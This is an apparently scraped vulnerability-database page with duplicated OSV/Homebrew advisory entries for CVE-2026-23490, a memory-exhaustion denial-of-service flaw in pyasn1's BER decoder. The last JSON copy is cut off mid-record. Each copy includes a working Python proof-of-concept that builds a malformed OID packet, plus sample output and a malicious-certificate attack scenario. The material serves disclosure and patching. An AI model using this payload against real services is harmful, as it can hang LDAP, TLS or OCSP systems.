    https://github.com/pyasn1/pyasn1/commit/be353d755… WEB
    https://github.com/pyasn1/pyasn1/commit/3908f1442… WEB
    https://access.redhat.com/errata/RHSA-2026:4148 WEB
    https://access.redhat.com/errata/RHSA-2026:4147 WEB
    https://access.redhat.com/errata/RHSA-2026:4146 WEB
    https://access.redhat.com/errata/RHSA-2026:4145 WEB
    https://access.redhat.com/errata/RHSA-2026:4144 WEB
    https://access.redhat.com/errata/RHSA-2026:4143 WEB
    https://access.redhat.com/errata/RHSA-2026:4142 WEB
    https://access.redhat.com/errata/RHSA-2026:4141 WEB
    https://access.redhat.com/errata/RHSA-2026:4140 WEB
    https://access.redhat.com/errata/RHSA-2026:4139 WEB
    https://access.redhat.com/errata/RHSA-2026:4138 WEB
    https://access.redhat.com/errata/RHSA-2026:39894 WEB
    https://access.redhat.com/errata/RHSA-2026:3959 WEB
    https://access.redhat.com/errata/RHSA-2026:3958 WEB
    https://access.redhat.com/errata/RHSA-2026:2302 WEB
    https://access.redhat.com/errata/RHSA-2026:41928 WEB
    https://access.redhat.com/errata/RHSA-2026:42644 WEB
    https://access.redhat.com/errata/RHSA-2026:4943 WEB
    https://access.redhat.com/errata/RHSA-2026:54757 WEB
    https://access.redhat.com/errata/RHSA-2026:5606 WEB
    https://access.redhat.com/security/cve/CVE-2026-23490 WEB
    https://bugzilla.redhat.com/show_bug.cgi?id=2430472 WEB
    https://github.com/advisories/GHSA-63vm-454h-vhhq ADVISORY
    https://github.com/pyasn1/pyasn1 PACKAGE
    https://github.com/pyasn1/pyasn1/blob/0f07d7242a7… WEB
    https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2 WEB
    https://github.com/pypa/advisory-database/tree/ma… WEB
    https://lists.debian.org/debian-lts-announce/2026… WEB
    https://pypi.org/project/pyasn1 WEB
    https://security.access.redhat.com/data/csaf/v2/v… WEB
    https://access.redhat.com/errata/RHSA-2026:2300 WEB
    https://access.redhat.com/errata/RHSA-2026:2299 WEB
    https://access.redhat.com/errata/RHSA-2026:2221 WEB
    https://access.redhat.com/errata/RHSA-2026:19712 WEB
    https://access.redhat.com/errata/RHSA-2026:1906 WEB
    https://access.redhat.com/errata/RHSA-2026:1905 WEB
    https://access.redhat.com/errata/RHSA-2026:1904 WEB
    https://access.redhat.com/errata/RHSA-2026:1903 WEB
    https://access.redhat.com/errata/RHSA-2026:17611 WEB
    https://access.redhat.com/errata/RHSA-2026:17595 WEB
    https://access.redhat.com/errata/RHSA-2026:17446 WEB
    https://access.redhat.com/errata/RHSA-2026:14020 WEB
    https://access.redhat.com/errata/RHSA-2026:13553 WEB
    https://access.redhat.com/errata/RHSA-2026:13545 WEB
    https://access.redhat.com/errata/RHSA-2026:13512 WEB
    https://access.redhat.com/errata/RHSA-2026:13508 WEB
    https://access.redhat.com/errata/RHSA-2026:37275 WEB
    https://access.redhat.com/errata/RHSA-2026:3359 WEB
    https://access.redhat.com/errata/RHSA-2026:3354 WEB
    https://access.redhat.com/errata/RHSA-2026:30088 WEB
    https://access.redhat.com/errata/RHSA-2026:28042 WEB
    https://access.redhat.com/errata/RHSA-2026:2758 WEB
    https://access.redhat.com/errata/RHSA-2026:2712 WEB
    https://access.redhat.com/errata/RHSA-2026:24977 WEB
    https://access.redhat.com/errata/RHSA-2026:24866 WEB
    https://access.redhat.com/errata/RHSA-2026:2486 WEB
    https://access.redhat.com/errata/RHSA-2026:2483 WEB
    https://access.redhat.com/errata/RHSA-2026:2460 WEB
    https://access.redhat.com/errata/RHSA-2026:2453 WEB
    https://access.redhat.com/errata/RHSA-2026:24483 WEB
    https://access.redhat.com/errata/RHSA-2026:24476 WEB
    https://access.redhat.com/errata/RHSA-2026:2309 WEB
    https://access.redhat.com/errata/RHSA-2026:2303 WEB

    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.5",
            "upstream_fixed_in": "0.6.2"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "duplicity",
            "purl": "pkg:brew/duplicity"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "3.0.2_1"
                },
                {
                  "fixed": "3.0.7_4"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.5",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.5"
          }
        ]
      },
      "details": "### Summary\n\nAfter reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.\n\n### Details\n\nThe integer issue can be found in the decoder as `reloid += ((subId \u003c\u003c 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496\n\n### PoC\n\nFor the DoS:\n```py\nimport pyasn1.codec.ber.decoder as decoder\nimport pyasn1.type.univ as univ\nimport sys\nimport resource\n\n# Deliberately set memory limit to display PoC\ntry:\n    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))\n    print(\"[*] Memory limit set to 100MB\")\nexcept:\n    print(\"[-] Could not set memory limit\")\n\n# Test with different payload sizes to find the DoS threshold\npayload_size_mb = int(sys.argv[1])\n\nprint(f\"[*] Testing with {payload_size_mb}MB payload...\")\n\npayload_size = payload_size_mb * 1024 * 1024\n# Create payload with continuation octets\n# Each 0x81 byte indicates continuation, causing bit shifting in decoder\npayload = b\u0027\\x81\u0027 * payload_size + b\u0027\\x00\u0027\nlength = len(payload)\n\n# DER length encoding (supports up to 4GB)\nif length \u003c 128:\n    length_bytes = bytes([length])\nelif length \u003c 256:\n    length_bytes = b\u0027\\x81\u0027 + length.to_bytes(1, \u0027big\u0027)\nelif length \u003c 256**2:\n    length_bytes = b\u0027\\x82\u0027 + length.to_bytes(2, \u0027big\u0027)\nelif length \u003c 256**3:\n    length_bytes = b\u0027\\x83\u0027 + length.to_bytes(3, \u0027big\u0027)\nelse:\n    # 4 bytes can handle up to 4GB\n    length_bytes = b\u0027\\x84\u0027 + length.to_bytes(4, \u0027big\u0027)\n\n# Use OID (0x06) for more aggressive parsing\nmalicious_packet = b\u0027\\x06\u0027 + length_bytes + payload\n\nprint(f\"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB\")\n\ntry:\n    print(\"[*] Decoding (this may take time or exhaust memory)...\")\n    result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())\n\n    print(f\u0027[+] Decoded successfully\u0027)\n    print(f\u0027[!] Object size: {sys.getsizeof(result[0])} bytes\u0027)\n\n    # Try to convert to string\n    print(\u0027[*] Converting to string...\u0027)\n    try:\n        str_result = str(result[0])\n        print(f\u0027[+] String succeeded: {len(str_result)} chars\u0027)\n        if len(str_result) \u003e 10000:\n            print(f\u0027[!] MEMORY EXPLOSION: {len(str_result)} character string!\u0027)\n    except MemoryError:\n        print(f\u0027[-] MemoryError during string conversion!\u0027)\n    except Exception as e:\n        print(f\u0027[-] {type(e).__name__} during string conversion\u0027)\n\nexcept MemoryError:\n    print(\u0027[-] MemoryError: Out of memory!\u0027)\nexcept Exception as e:\n    print(f\u0027[-] Error: {type(e).__name__}: {e}\u0027)\n\n\nprint(\"\\n[*] Test completed\")\n```\n\n\nScreenshots with the results:\n\n#### DoS\n\u003cimg width=\"944\" height=\"207\" alt=\"Screenshot_20251219_160840\" src=\"https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f\" /\u003e\n\n\u003cimg width=\"931\" height=\"231\" alt=\"Screenshot_20251219_152815\" src=\"https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa\" /\u003e\n\n#### Leak analysis\n\nA potential heap leak was investigated but came back clean:\n```\n[*] Creating 1000KB payload...\n[*] Decoding with pyasn1...\n[*] Materializing to string...\n[+] Decoded 2157784 characters\n[+] Binary representation: 896001 bytes\n[+] Dumped to heap_dump.bin\n\n[*] First 64 bytes (hex):\n  01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081\n\n[*] First 64 bytes (ASCII/hex dump):\n  0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..\n  0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....\n  0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... \n  0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.\n\n[*] Digit distribution analysis:\n  \u00270\u0027:  10.1%\n  \u00271\u0027:   9.9%\n  \u00272\u0027:  10.0%\n  \u00273\u0027:   9.9%\n  \u00274\u0027:   9.9%\n  \u00275\u0027:  10.0%\n  \u00276\u0027:  10.0%\n  \u00277\u0027:  10.0%\n  \u00278\u0027:   9.9%\n  \u00279\u0027:  10.1%\n```\n\n### Scenario\n\n1. An attacker creates a malicious X.509 certificate.\n2. The application validates certificates.\n3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.\n\n### Impact\n\nThis issue can affect resource consumption and hang systems or stop services.\nThis may affect:\n- LDAP servers\n- TLS/SSL endpoints\n- OCSP responders\n- etc.\n\n### Recommendation\n\nAdd a limit to the allowed bytes in the decoder.",
      "id": "BREW-duplicity-CVE-2026-23490",
      "modified": "2026-10-31T18:52:12Z",
      "published": "2026-08-13T16:44:03Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23490"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/be353d755f42ea36539b4f5053c652ddf56979a6"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4148"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4147"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4146"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4145"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4144"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4143"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4142"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4141"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4140"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4139"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4138"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:39894"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3959"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3958"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2302"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:41928"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:42644"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4943"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:54757"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:5606"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/security/cve/CVE-2026-23490"
        },
        {
          "type": "WEB",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2430472"
        },
        {
          "type": "ADVISORY",
          "url": "https://github.com/advisories/GHSA-63vm-454h-vhhq"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/blob/0f07d7242a78ab4d129b26256d7474f7168cf536/pyasn1/codec/ber/decoder.py#L496"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-1810.yaml"
        },
        {
          "type": "WEB",
          "url": "https://lists.debian.org/debian-lts-announce/2026/02/msg00002.html"
        },
        {
          "type": "WEB",
          "url": "https://pypi.org/project/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-23490.json"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2300"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2299"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2221"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1906"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1905"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1904"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1903"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17611"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17595"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17446"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:14020"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13553"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13545"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13512"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13508"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:37275"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3359"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3354"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:30088"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:28042"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2758"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24977"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24866"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2486"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2483"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2460"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2453"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24483"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24476"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2309"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2303"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "pyasn1 has a DoS vulnerability in decoder",
      "upstream": [
        "GHSA-63vm-454h-vhhq",
        "CVE-2026-23490",
        "PYSEC-2026-1810"
      ]
    }

    BREW-DVC-CVE-2026-23490 (GHSA-63VM-454H-VHHQ)

    Vulnerability from osv_homebrew – Published: 2026-08-13 16:44 – Updated: 2026-10-29 23:00 – Source website
    VLAI
    Summary
    pyasn1 has a DoS vulnerability in decoder
    Details

    Summary

    After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.

    Details

    The integer issue can be found in the decoder as reloid += ((subId << 7) + nextSubId,): https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496

    PoC

    For the DoS:

    import pyasn1.codec.ber.decoder as decoder
    import pyasn1.type.univ as univ
    import sys
    import resource
    
    # Deliberately set memory limit to display PoC
    try:
        resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
        print("[*] Memory limit set to 100MB")
    except:
        print("[-] Could not set memory limit")
    
    # Test with different payload sizes to find the DoS threshold
    payload_size_mb = int(sys.argv[1])
    
    print(f"[*] Testing with {payload_size_mb}MB payload...")
    
    payload_size = payload_size_mb * 1024 * 1024
    # Create payload with continuation octets
    # Each 0x81 byte indicates continuation, causing bit shifting in decoder
    payload = b'\x81' * payload_size + b'\x00'
    length = len(payload)
    
    # DER length encoding (supports up to 4GB)
    if length < 128:
        length_bytes = bytes([length])
    elif length < 256:
        length_bytes = b'\x81' + length.to_bytes(1, 'big')
    elif length < 256**2:
        length_bytes = b'\x82' + length.to_bytes(2, 'big')
    elif length < 256**3:
        length_bytes = b'\x83' + length.to_bytes(3, 'big')
    else:
        # 4 bytes can handle up to 4GB
        length_bytes = b'\x84' + length.to_bytes(4, 'big')
    
    # Use OID (0x06) for more aggressive parsing
    malicious_packet = b'\x06' + length_bytes + payload
    
    print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB")
    
    try:
        print("[*] Decoding (this may take time or exhaust memory)...")
        result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())
    
        print(f'[+] Decoded successfully')
        print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')
    
        # Try to convert to string
        print('[*] Converting to string...')
        try:
            str_result = str(result[0])
            print(f'[+] String succeeded: {len(str_result)} chars')
            if len(str_result) > 10000:
                print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')
        except MemoryError:
            print(f'[-] MemoryError during string conversion!')
        except Exception as e:
            print(f'[-] {type(e).__name__} during string conversion')
    
    except MemoryError:
        print('[-] MemoryError: Out of memory!')
    except Exception as e:
        print(f'[-] Error: {type(e).__name__}: {e}')
    
    
    print("\n[*] Test completed")
    

    Screenshots with the results:

    DoS

    Screenshot_20251219_160840

    Screenshot_20251219_152815

    Leak analysis

    A potential heap leak was investigated but came back clean:

    [*] Creating 1000KB payload...
    [*] Decoding with pyasn1...
    [*] Materializing to string...
    [+] Decoded 2157784 characters
    [+] Binary representation: 896001 bytes
    [+] Dumped to heap_dump.bin
    
    [*] First 64 bytes (hex):
      01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081
    
    [*] First 64 bytes (ASCII/hex dump):
      0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..
      0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....
      0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... 
      0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.
    
    [*] Digit distribution analysis:
      '0':  10.1%
      '1':   9.9%
      '2':  10.0%
      '3':   9.9%
      '4':   9.9%
      '5':  10.0%
      '6':  10.0%
      '7':  10.0%
      '8':   9.9%
      '9':  10.1%
    

    Scenario

    1. An attacker creates a malicious X.509 certificate.
    2. The application validates certificates.
    3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.

    Impact

    This issue can affect resource consumption and hang systems or stop services. This may affect: - LDAP servers - TLS/SSL endpoints - OCSP responders - etc.

    Recommendation

    Add a limit to the allowed bytes in the decoder.

    References
    https://github.com/pyasn1/pyasn1/security/advisor… WEB
    https://nvd.nist.gov/vuln/detail/CVE-2026-23490 ADVISORY
    https://github.com/pyasn1/pyasn1/commit/be353d755… WEB
    https://github.com/pyasn1/pyasn1/commit/3908f1442… WEB
    https://access.redhat.com/errata/RHSA-2026:4148 WEB
    https://access.redhat.com/errata/RHSA-2026:4147 WEB
    https://access.redhat.com/errata/RHSA-2026:4146 WEB
    https://access.redhat.com/errata/RHSA-2026:4145 WEB
    https://access.redhat.com/errata/RHSA-2026:4144 WEB
    https://access.redhat.com/errata/RHSA-2026:4143 WEB
    https://access.redhat.com/errata/RHSA-2026:4142 WEB
    https://access.redhat.com/errata/RHSA-2026:4141 WEB
    https://access.redhat.com/errata/RHSA-2026:4140 WEB
    https://access.redhat.com/errata/RHSA-2026:4139 WEB
    https://access.redhat.com/errata/RHSA-2026:4138 WEB
    https://access.redhat.com/errata/RHSA-2026:39894 WEB
    https://access.redhat.com/errata/RHSA-2026:3959 WEB
    https://access.redhat.com/errata/RHSA-2026:3958 WEB
    https://access.redhat.com/errata/RHSA-2026:2302 WEB
    https://access.redhat.com/errata/RHSA-2026:41928 WEB
    https://access.redhat.com/errata/RHSA-2026:42644 WEB
    https://access.redhat.com/errata/RHSA-2026:4943 WEB
    https://access.redhat.com/errata/RHSA-2026:54757 WEB
    https://access.redhat.com/errata/RHSA-2026:5606 WEB
    https://access.redhat.com/security/cve/CVE-2026-23490 WEB
    https://bugzilla.redhat.com/show_bug.cgi?id=2430472 WEB
    https://github.com/advisories/GHSA-63vm-454h-vhhq ADVISORY
    https://github.com/pyasn1/pyasn1 PACKAGE
    https://github.com/pyasn1/pyasn1/blob/0f07d7242a7… WEB
    https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2 WEB
    https://github.com/pypa/advisory-database/tree/ma… WEB
    https://lists.debian.org/debian-lts-announce/2026… WEB
    https://pypi.org/project/pyasn1 WEB
    https://security.access.redhat.com/data/csaf/v2/v… WEB
    https://access.redhat.com/errata/RHSA-2026:2300 WEB
    https://access.redhat.com/errata/RHSA-2026:2299 WEB
    https://access.redhat.com/errata/RHSA-2026:2221 WEB
    https://access.redhat.com/errata/RHSA-2026:19712 WEB
    https://access.redhat.com/errata/RHSA-2026:1906 WEB
    https://access.redhat.com/errata/RHSA-2026:1905 WEB
    https://access.redhat.com/errata/RHSA-2026:1904 WEB
    https://access.redhat.com/errata/RHSA-2026:1903 WEB
    https://access.redhat.com/errata/RHSA-2026:17611 WEB
    https://access.redhat.com/errata/RHSA-2026:17595 WEB
    https://access.redhat.com/errata/RHSA-2026:17446 WEB
    https://access.redhat.com/errata/RHSA-2026:14020 WEB
    https://access.redhat.com/errata/RHSA-2026:13553 WEB
    https://access.redhat.com/errata/RHSA-2026:13545 WEB
    https://access.redhat.com/errata/RHSA-2026:13512 WEB
    https://access.redhat.com/errata/RHSA-2026:13508 WEB
    https://access.redhat.com/errata/RHSA-2026:37275 WEB
    https://access.redhat.com/errata/RHSA-2026:3359 WEB
    https://access.redhat.com/errata/RHSA-2026:3354 WEB
    https://access.redhat.com/errata/RHSA-2026:30088 WEB
    https://access.redhat.com/errata/RHSA-2026:28042 WEB
    https://access.redhat.com/errata/RHSA-2026:2758 WEB
    https://access.redhat.com/errata/RHSA-2026:2712 WEB
    https://access.redhat.com/errata/RHSA-2026:24977 WEB
    https://access.redhat.com/errata/RHSA-2026:24866 WEB
    https://access.redhat.com/errata/RHSA-2026:2486 WEB
    https://access.redhat.com/errata/RHSA-2026:2483 WEB
    https://access.redhat.com/errata/RHSA-2026:2460 WEB
    https://access.redhat.com/errata/RHSA-2026:2453 WEB
    https://access.redhat.com/errata/RHSA-2026:24483 WEB
    https://access.redhat.com/errata/RHSA-2026:24476 WEB
    https://access.redhat.com/errata/RHSA-2026:2309 WEB
    https://access.redhat.com/errata/RHSA-2026:2303 WEB

    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.5",
            "upstream_fixed_in": "0.6.2"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "dvc",
            "purl": "pkg:brew/dvc"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "3.55.2_1"
                },
                {
                  "fixed": "3.66.1_2"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.5",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.5"
          }
        ]
      },
      "details": "### Summary\n\nAfter reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.\n\n### Details\n\nThe integer issue can be found in the decoder as `reloid += ((subId \u003c\u003c 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496\n\n### PoC\n\nFor the DoS:\n```py\nimport pyasn1.codec.ber.decoder as decoder\nimport pyasn1.type.univ as univ\nimport sys\nimport resource\n\n# Deliberately set memory limit to display PoC\ntry:\n    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))\n    print(\"[*] Memory limit set to 100MB\")\nexcept:\n    print(\"[-] Could not set memory limit\")\n\n# Test with different payload sizes to find the DoS threshold\npayload_size_mb = int(sys.argv[1])\n\nprint(f\"[*] Testing with {payload_size_mb}MB payload...\")\n\npayload_size = payload_size_mb * 1024 * 1024\n# Create payload with continuation octets\n# Each 0x81 byte indicates continuation, causing bit shifting in decoder\npayload = b\u0027\\x81\u0027 * payload_size + b\u0027\\x00\u0027\nlength = len(payload)\n\n# DER length encoding (supports up to 4GB)\nif length \u003c 128:\n    length_bytes = bytes([length])\nelif length \u003c 256:\n    length_bytes = b\u0027\\x81\u0027 + length.to_bytes(1, \u0027big\u0027)\nelif length \u003c 256**2:\n    length_bytes = b\u0027\\x82\u0027 + length.to_bytes(2, \u0027big\u0027)\nelif length \u003c 256**3:\n    length_bytes = b\u0027\\x83\u0027 + length.to_bytes(3, \u0027big\u0027)\nelse:\n    # 4 bytes can handle up to 4GB\n    length_bytes = b\u0027\\x84\u0027 + length.to_bytes(4, \u0027big\u0027)\n\n# Use OID (0x06) for more aggressive parsing\nmalicious_packet = b\u0027\\x06\u0027 + length_bytes + payload\n\nprint(f\"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB\")\n\ntry:\n    print(\"[*] Decoding (this may take time or exhaust memory)...\")\n    result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())\n\n    print(f\u0027[+] Decoded successfully\u0027)\n    print(f\u0027[!] Object size: {sys.getsizeof(result[0])} bytes\u0027)\n\n    # Try to convert to string\n    print(\u0027[*] Converting to string...\u0027)\n    try:\n        str_result = str(result[0])\n        print(f\u0027[+] String succeeded: {len(str_result)} chars\u0027)\n        if len(str_result) \u003e 10000:\n            print(f\u0027[!] MEMORY EXPLOSION: {len(str_result)} character string!\u0027)\n    except MemoryError:\n        print(f\u0027[-] MemoryError during string conversion!\u0027)\n    except Exception as e:\n        print(f\u0027[-] {type(e).__name__} during string conversion\u0027)\n\nexcept MemoryError:\n    print(\u0027[-] MemoryError: Out of memory!\u0027)\nexcept Exception as e:\n    print(f\u0027[-] Error: {type(e).__name__}: {e}\u0027)\n\n\nprint(\"\\n[*] Test completed\")\n```\n\n\nScreenshots with the results:\n\n#### DoS\n\u003cimg width=\"944\" height=\"207\" alt=\"Screenshot_20251219_160840\" src=\"https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f\" /\u003e\n\n\u003cimg width=\"931\" height=\"231\" alt=\"Screenshot_20251219_152815\" src=\"https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa\" /\u003e\n\n#### Leak analysis\n\nA potential heap leak was investigated but came back clean:\n```\n[*] Creating 1000KB payload...\n[*] Decoding with pyasn1...\n[*] Materializing to string...\n[+] Decoded 2157784 characters\n[+] Binary representation: 896001 bytes\n[+] Dumped to heap_dump.bin\n\n[*] First 64 bytes (hex):\n  01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081\n\n[*] First 64 bytes (ASCII/hex dump):\n  0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..\n  0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....\n  0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... \n  0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.\n\n[*] Digit distribution analysis:\n  \u00270\u0027:  10.1%\n  \u00271\u0027:   9.9%\n  \u00272\u0027:  10.0%\n  \u00273\u0027:   9.9%\n  \u00274\u0027:   9.9%\n  \u00275\u0027:  10.0%\n  \u00276\u0027:  10.0%\n  \u00277\u0027:  10.0%\n  \u00278\u0027:   9.9%\n  \u00279\u0027:  10.1%\n```\n\n### Scenario\n\n1. An attacker creates a malicious X.509 certificate.\n2. The application validates certificates.\n3. The 